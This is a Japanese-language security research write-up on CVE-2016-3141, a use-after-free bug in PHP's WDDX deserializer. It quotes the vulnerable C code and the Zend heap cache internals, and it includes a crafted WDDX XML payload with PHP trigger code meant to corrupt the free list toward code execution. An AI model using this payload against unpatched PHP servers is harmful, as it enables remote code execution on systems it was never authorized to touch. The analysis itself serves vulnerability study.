
CVE-2016-3141
PHP 5.5.33 より前および 5.6.19 より前の 5.6.x における WDDX 拡張機能の wddx.c の Use-after-free の脆弱性により、細工された var 要素を含む XML データに対して wddx_deserialize 呼び出しをトリガーすることで、リモートの攻撃者がサービス妨害(メモリ破損およびアプリケーションのクラッシュ)を引き起こしたり、場合によってはその他の不特定の影響を与えたりする可能性があります。
これは Use After Free バグであり、wddx が XML データを処理しようとするときに発生します。 関数 php_wddx_deserialize_ex 内のこのコードを見てください。wddx_deserialize($xml) で XML データを処理する際、PHP はこの関数を呼び出し、XML タグとデータを処理するためのいくつかの関数を設定します。
XML_SetUserData(parser, &stack);
XML_SetElementHandler(parser, php_wddx_push_element, php_wddx_pop_element);
XML_SetCharacterDataHandler(parser, php_wddx_process_data);
関数 php_wddx_push_element は、このスニペットでわかるようにタグのエントリを作成します。たとえば <string>Hello World</string> を入力すると、開始タグ に達したときに php_wddx_push_element が呼び出され、タグの情報を格納する st_entry エントリが作成されます。以下のスニペットコードを見てみましょう。
static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
st_entry ent;
wddx_stack *stack = (wddx_stack *)user_data;
----SNIP----
else if (!strcmp(name, EL_STRING)) {
ent.type = ST_STRING;
SET_STACK_VARNAME;
ALLOC_ZVAL(ent.data);
INIT_PZVAL(ent.data);
Z_TYPE_P(ent.data) = IS_STRING;
Z_STRVAL_P(ent.data) = STR_EMPTY_ALLOC();
Z_STRLEN_P(ent.data) = 0;
wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st\_entry));
}
----SNIP----
}
SET_STACK_VARNAME は、以下で定義されているプロシージャです。このプロシージャは、タグの stack->varname が NULL でないかどうかを単純にチェックし、NULL でない場合はこの stack->varname を複製してから解放します。
#define SET_STACK_VARNAME \
if (stack->varname) { \
ent.varname = estrdup(stack->varname); \
efree(stack->varname); \
stack->varname = NULL; \
} else \
ent.varname = NULL; \
バグは php_wddx_pop_element 内で発生します。XML が var タグを閉じると、このタグの varname が解放されますが、この解放されたポインタは依然として stack->varname に格納されています。たとえば、<var name='UAF'></var> のような var を作成すると、php_wddx_push_element はこの var タグを格納する構造体を作成し、このタグを閉じたときに解放しますが、stack->name = NULL を設定したり stack->top を減らしたりするのを忘れます。その後、<string> などの別のタグを作成すると、関数 SET_STACK_VARNAME がこの解放されたポインタを再利用します。
static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
# ***SNIP***
} else if (!strcmp(name, EL_VAR) && stack->varname) {
efree(stack->varname);
}
# ***SNIP***
}
このバグを最初に見たとき、「このバグをコード実行に変えることはできないだろうか?」と考えました。まず、zend ヒープがどのように実装されているかを理解する必要があります。以下の zend_alloc.c の関数 _zend_mm_alloc_int を見てみましょう。
if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
size_t index = ZEND_MM_BUCKET_INDEX(true_size);
size_t bitmap;
if (UNEXPECTED(true_size < size)) {
goto out_of_memory;
}
#if ZEND_MM_CACHE
if (EXPECTED(heap->cache[index] != NULL)) {
/* Get block from cache */
#if ZEND_MM_CACHE_STAT
heap->cache_stat[index].count--;
heap->cache_stat[index].hit++;
#endif
best_fit = heap->cache[index];
heap->cache[index] = best_fit->prev_free_block;
heap->cached -= true_size;
ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
HANDLE_UNBLOCK_INTERRUPTIONS();
return ZEND_MM_DATA_OF(best_fit);
}
チャンクサイズが小さい場合(256 バイト未満)、zend_alloc は heap->cache を使用します。これは、多くの小さな空きチャンクのリンクリストを格納した空きチャンクリストで、malloc の fast_bin のようなものです。何らかの方法で best_fit->prev_free_block ポインタを自分のアドレスで上書きできれば、再度 zend_alloc を呼び出し、そのアドレスを使用してメモリ上の任意の場所に書き込むことができます。
そのために、以下の wddx XML を作成します。
$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
<array>
<binary>HERE</binary> # (1)
<var name='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'></var> #(2)
<binary>REPLACE</binary> # (3)
<var name='SUCK'></var> # (4)
<boolean value='a'/>
<boolean value='true'/>
</array>
</wddxPacket>
EOF;
$binary_value = base64_encode(str_repeat("A",32));
$xml = str_replace("HERE",$binary_value,$xml);
$xml = str_replace("REPLACE",base64_encode(str_repeat("Z",64)),$xml);
$wddx = wddx_deserialize($xml);
foreach($wddx as $k => $v){
$k = "".str_repeat("C",6); (5)
$t = (string)$v; (6)
$g = (string)$v; (7)
}

完全なエクスプロイトはこちらで確認できます peter_code_execute.php(Ubuntu 14.04.4 x86_64 - PHP 5.5.9-1ubuntu4.14 でテスト済み)。
最終的に、このバグをコード実行に変換することに成功しました。
